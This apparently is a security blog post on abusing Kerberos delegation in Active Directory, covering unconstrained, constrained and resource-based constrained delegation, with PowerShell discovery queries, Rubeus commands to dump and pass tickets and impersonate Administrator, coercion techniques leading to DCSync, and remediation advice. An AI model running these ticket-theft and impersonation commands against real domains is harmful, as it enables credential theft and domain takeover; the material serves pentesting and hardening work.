Kerberos delegation pivots operators still abuse

Kerberos delegation is a legitimate Active Directory feature: it allows a service to impersonate a user when making downstream calls to other services on the user's behalf. It is also one of the most frequently abused misconfiguration classes in AD environments. Three delegation types exist, with different abuse paths and different prerequisites.

This post covers the abuse chain for each delegation type, the MITRE ATT&CK mapping, and the operator checklist for discovering and exploiting delegation misconfigurations.

Delegation type comparison

Abuse chains by delegation type

Unconstrained delegation: TGT harvesting

Unconstrained delegation is the most dangerous configuration. Servers with TrustedForDelegation = TRUE receive copies of the authenticating user's TGT, cached in LSASS. Any user who authenticates — including via Kerberos-based services, print spoolers, or coercion techniques — leaves their TGT on the server.

Find unconstrained delegation accounts:

# Find computers with unconstrained delegation (excluding domain controllers, which have it by design)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, OperatingSystem |
    Where-Object { $_.OperatingSystem -notmatch "Domain Controller" } |
    Select-Object Name, OperatingSystem

# Find service accounts with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
    Select-Object SamAccountName, Enabled, TrustedForDelegation

TGT extraction after compromise of the server:

# With Rubeus on a compromised server with unconstrained delegation
Rubeus.exe triage                     # list cached tickets
Rubeus.exe dump /service:krbtgt       # extract TGT for domain users
Rubeus.exe ptt /ticket:<base64>       # import TGT for use

Coercion to force TGT delivery:

If no privileged user authenticates organically, coercion techniques (PrinterBug/SpoolSample against domain controllers; PetitPotam if not mitigated; DFSCoerce) can force a DC machine account to authenticate to the unconstrained delegation server. DC machine account TGTs can be used for DCSync.

Constrained delegation: S4U abuse

Constrained delegation restricts the service account to delegating only to specific SPNs listed in msDS-AllowedToDelegateTo. This is better than unconstrained, but it still allows the compromised service account to obtain valid Kerberos tickets for any user to those specific services — including domain admin–held services.

Find constrained delegation accounts:

# Find accounts with constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo |
    Select-Object Name, @{Name="DelegateTo";Expression={$_."msDS-AllowedToDelegateTo"}}

With a compromised account that has constrained delegation configured, use the S4U2Proxy extension to request a TGS for any domain user to the allowed service. CIFS delegation to a file server, for example, enables reading any file on that server as any domain user, including domain admins.

Resource-based constrained delegation: the write-access escalation

RBCD is the most flexible abuse path because the configuration lives on the target resource, not the source account. An attacker who can write to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute can configure that computer to accept delegation from an attacker-controlled account.

Write access to a computer object is the common prerequisite. Sources of write access: - Default creator rights: the account that joined a workstation to the domain often retains GenericWrite on that computer object - Delegated OU permissions: help-desk OUs may have write access granted for workstation management - Misconfigured ACLs on computer objects: WriteProperty or GenericAll from group memberships

RBCD exploit chain:

# Step 1: Create or use an existing machine account (attackers with domain user rights can create
# machine accounts up to the MachineAccountQuota)
# Step 2: Set RBCD on target computer to the attacker-controlled machine account
Set-ADComputer -Identity "TARGET$" -PrincipalsAllowedToDelegateToAccount (Get-ADComputer "ATTACKER$")

# Step 3: Use Rubeus or impacket to S4U2Self + S4U2Proxy for any user to the target
Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /ptt

MITRE ATT&CK mapping

Detection artefacts

Remediation summary

• Unconstrained delegation: audit and remove from all non-DC computer accounts; use constrained or RBCD instead
• Constrained delegation: audit msDS-AllowedToDelegateTo entries; remove delegation to sensitive services (CIFS on DCs, krbtgt service)
• RBCD: audit GenericWrite and WriteProperty ACLs on computer objects; reduce MachineAccountQuota to 0 in environments where it is not operationally required
• Protected users group: adding highly privileged accounts to the Protected Users security group prevents their TGTs from being delegated — hard block on unconstrained and constrained delegation abuse for those accounts